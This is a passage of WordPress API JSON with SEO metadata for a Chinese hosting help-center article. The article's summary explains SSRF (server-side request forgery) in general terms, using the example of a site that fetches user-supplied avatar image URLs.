/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/23430.html","og_locale":"zh_CN","og_type":"article","og_title":"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb803\u6b21\uff0c\u70b9\u8d5e6\u6b21\uff0c\u6536\u85cf23\u6b21\u3002\u901a\u8fc7\u5229\u7528\u8fd9\u4e00\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u7279\u5236\u7684\u8bf7\u6c42\uff0c\u83b7\u53d6\u670d\u52a1\u5668\u5185\u90e8\u7684\u654f\u611f\u4fe1\u606f\uff0c\u751a\u81f3\u5b8c\u5168\u63a7\u5236\u670d\u52a1\u5668\u3002\u672c\u6587\u5c06\u6df1\u5165\u63a2\u8ba8SSRF\u6f0f\u6d1e\u7684\u5de5\u4f5c\u539f\u7406\uff0c\u4ee5\u53ca\u9ed1\u5ba2\u5982\u4f55\u5229\u7528\u4e00\u5f20\u56fe\u7247\u6765\u5b9e\u65bd\u653b\u51fb\uff0c\u63ed\u793a\u8fd9\u4e00\u81f4\u547d\u9677\u9631\u7684\u672c\u8d28\u3002\u67d0\u7535\u5546\u5e73\u53f0\u5141\u8bb8\u7528\u6237\u4e0a\u4f20\u5934\u50cf\uff0c\u6280\u672f\u5c0f\u54e5\u8d34\u5fc3\u8bbe\u8ba1\u4e86\u201c\u667a\u80fdURL\u68c0\u6d4b\u201d\u2014\u2014\u81ea\u52a8\u6293\u53d6\u7528\u6237\u63d0\u4f9b\u7684\u7f51\u7edc\u56fe\u7247\u7528\u6765\u751f\u6210\u7f29\u7565\u56fe\u3002\u670d\u52a1\u5668\u672a\u7ecf\u4e25\u683c\u68c0\u67e5\uff0c\u76f4\u63a5\u6267\u884c\u7528\u6237\u63d0\u4f9b\u7684URL\u5730\u5740\uff0c\u5bfc\u81f4\u88ab\u8bf1\u5bfc\u8bbf\u95ee\u5185\u7f51\u7cfb\u7edf\u3001\u4e91\u5e73\u53f0\u5bc6\u94a5\u5e93\u7b49\u654f\u611f\u533a\u57df\u3002\uff1aSSRF\uff08\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09\u6f0f\u6d1e\u2014\u2014\u8ba9\u670d\u52a1\u5668\u6210\u4e3a\u9ed1\u5ba2\u7684\u201c\u63d0\u7ebf\u6728\u5076\u201d\u3002SSRF\uff08\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09\u5c31\u50cf\u4e00\u4e2a\u201c","og_url":"https:\/\/www.wsisp.com\/helps\/23430.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2025-04-18T23:47:39+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418234736-6802e498dd316.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/23430.html","url":"https:\/\/www.wsisp.com\/helps\/23430.html","name":"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2025-04-18T23:47:39+00:00","dateModified":"2025-04-18T23:47:39+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/23430.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/23430.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/23430.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/23430","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=23430"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/23430\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/23427"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=23430"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=23430"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=23430"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=23430"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}